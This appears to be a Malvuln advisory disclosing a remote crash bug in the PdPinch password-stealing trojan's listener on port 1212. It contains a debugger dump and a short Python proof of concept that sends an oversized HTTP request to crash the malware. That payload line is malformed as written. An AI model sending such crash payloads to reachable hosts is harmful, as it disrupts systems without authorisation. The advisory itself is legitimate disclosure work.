Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0e4fbfeb6f7a98e437a497013b285ffc.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-PSW.Win32.PdPinch.gen
Vulnerability: Remote Denial of Service
Description: The malware listens on TCP port 1212. Third-party attackers who can reach infected systems can send a specially crafted junk HTTP request to trigger an access violation and crash.
Type: PE32
MD5: 0e4fbfeb6f7a98e437a497013b285ffc
Vuln ID: MVID-2021-0358
Disclosure: 10/04/2021

Memory Dump:
(dc4c.da68): Access violation - code c0000005 (first/second chance not available)
eax=04ad131c ebx=746d5600 ecx=02620d08 edx=746ed51c esi=00000004 edi=74749290
eip=74744637 esp=04ad0f00 ebp=04ad1304 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206


0:007> .ecxr
eax=04ad131c ebx=746d5600 ecx=02620d08 edx=746ed51c esi=00000004 edi=74749290
eip=74744637 esp=04ad0f00 ebp=04ad1304 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+0xd2a7:
74744637 56              push    esi

0:007> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

FAULTING_IP: 
apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+d2a7
74744637 56              push    esi

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 74744637 (apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+0x0000d2a7)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 04ad0efc
Attempt to write to address 04ad0efc

PROCESS_NAME:  Trojan-PSW.Win32.PdPinch.gen.0e4fbfeb6f7a98e437a497013b285ffc.exe

ADDITIONAL_DEBUG_TEXT:  
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.

MODULE_NAME: apphelp

FAULTING_MODULE: 77d70000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP:  5066dc78

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  04ad0efc

WRITE_ADDRESS:  04ad0efc 

FOLLOWUP_IP: 
apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+d2a7
74744637 56              push    esi

MOD_LIST: <ANALYSIS/>

CONTEXT:  00010008 -- (.cxr 0x10008)
Unable to read context, HRESULT 0x80004002

FAULTING_THREAD:  0000da68

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_EXH

PRIMARY_PROBLEM_CLASS:  INVALID_STACK_ACCESS_EXPLOITABLE_EXH

DEFAULT_BUCKET_ID:  INVALID_STACK_ACCESS_EXPLOITABLE_EXH

LAST_CONTROL_TRANSFER:  from 00000000 to 74744637

STACK_TEXT:  
04ad1304 00000000 04ad131c 04ad136c 747414b5 apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+0xd2a7


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+d2a7

FOLLOWUP_NAME:  MachineOwner

IMAGE_NAME:  apphelp.dll

STACK_COMMAND:  .cxr 0x10008 ; kb

BUCKET_ID:  WRONG_SYMBOLS

FAILURE_BUCKET_ID:  INVALID_STACK_ACCESS_EXPLOITABLE_EXH_c0000005_apphelp.dll!DWM8And16Bit_RestoreDisplayMode_CallOut

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1212

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD=TRACE / "A"*3073 HTTP/1.1 Host: 0ZYST;onoGij=F9rX2\r\nContent-MD5: "A"*3073\r\n\r\n
s.send(PAYLOAD)
s.close()


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